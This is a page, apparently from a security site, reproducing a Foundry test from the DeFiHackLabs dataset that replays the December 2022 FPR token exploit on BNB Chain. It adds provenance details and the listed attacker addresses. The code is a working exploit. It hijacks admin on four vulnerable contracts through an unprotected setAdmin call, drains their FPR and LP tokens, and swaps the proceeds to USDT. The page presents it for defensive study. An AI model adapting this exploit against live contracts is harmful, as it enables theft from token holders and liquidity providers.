Public reproduction file

src/test/2022-12/FPR_exp.sol

Public reproduction file for dataset entry - FPR.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/FPR_exp.sol73 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$29k
8// Attacker : https://bscscan.com/address/0xE3104e645BC3f6fD821930a6a39EE509a0E87D3b
9// Attack Contract :
10// https://bscscan.com/address/0xe3293F89FD3B9336Ac2d514Ec4a90477ca94b0d8
11// https://bscscan.com/address/0x5Dd07F8b12B8D5dBDF3664c2Fa7c37Da5048b462
12// Attack Tx :
13// https://bscscan.com/tx/0xec1b969e1435a1449dd5179404c54b5c60e49f15a1bf6bf8922e8d2978102f4a
14// https://bscscan.com/tx/0x1b66170220287bd90f72a97368f8dea2420a24c9585e9f39bf236af6d2a7dde6
15// https://bscscan.com/tx/0x43da4322052b045f442cdfc03bcccc797d3bba467beda501222c35d8fd0ebd81
16// https://bscscan.com/tx/0x1f8e814029a073c52a8668e6ff5bb3264445a8b29886cc9e3ca8ed5f89ccacd3
17 
18// @Analysis
19// https://twitter.com/peckshield/status/1603226968706936832
20// https://twitter.com/chainlight_io/status/1603282848311480320
21 
22interface VulContract {
23    function setAdmin(
24        address
25    ) external;
26    function remaining(address, address) external;
27}
28 
29contract ContractTest is Test {
30    address[4] vulContracts = [
31        0x81c5664be54d89E725ef155F14cf34e6213297B7,
32        0xE2f0A9B60858f436e1f74d8CdbE03625b9bcc532,
33        0x39eb555f5F7AFd11224ca10E406Dba05B4e21BD3,
34        0xBa5B235CDDaAc2595bcE6BaB79274F57FB82Bf27
35    ];
36    uint256[3] attackBlock = [23_904_153, 23_904_166, 23_904_174];
37    IERC20 constant FPR = IERC20(0xA9c7ec037797DC6E3F9255fFDe422DA6bF96024d);
38    IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
39    IUniswapV2Router constant router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
40    IUniswapV2Pair constant pair = IUniswapV2Pair(0x039D05a19e3436c536bE5c814aaa70FcdbDde58b);
41 
42    function setUp() public {
43        vm.createSelectFork("bsc", 23_904_152);
44        vm.label(address(FPR), "FPR token");
45        vm.label(address(router), "Router");
46        vm.label(address(pair), "Pair");
47    }
48 
49    function testExploit() public {
50        FPR.approve(address(router), type(uint256).max);
51        IERC20(address(pair)).approve(address(router), type(uint256).max);
52        address[] memory path = new address[](2);
53        path[0] = address(FPR);
54        path[1] = address(USDT);
55        for (uint256 i = 0; i < 3; i++) {
56            VulContract(vulContracts[i]).setAdmin(address(this));
57            VulContract(vulContracts[i]).remaining(address(this), address(FPR));
58            console.log(FPR.balanceOf(address(this)));
59            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
60                FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp
61            );
62        }
63 
64        VulContract(vulContracts[3]).setAdmin(address(this));
65        VulContract(vulContracts[3]).remaining(address(this), address(pair));
66        router.removeLiquidity(
67            address(USDT), address(FPR), pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp
68        );
69        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
70            FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp
71        );
72    }
73}

Analysis

Dataset entry

Public Foundry test for “- FPR” (2022-12-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xe3104e645bc3f6fd821930a6a39ee509a0e87d3b
Attack Contract
0xe3293f89fd3b9336ac2d514ec4a90477ca94b0d8

File record

Name: FPR
Path: src/test/2022-12/FPR_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: efe5aa05bf66f1be40e528a5bf340da4d70f2818
Language: Solidity
Size: 74 lines
Date: 2022-12-14
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-12/FPR_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob efe5aa05bf66f1be40e528a5bf340da4d70f2818, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.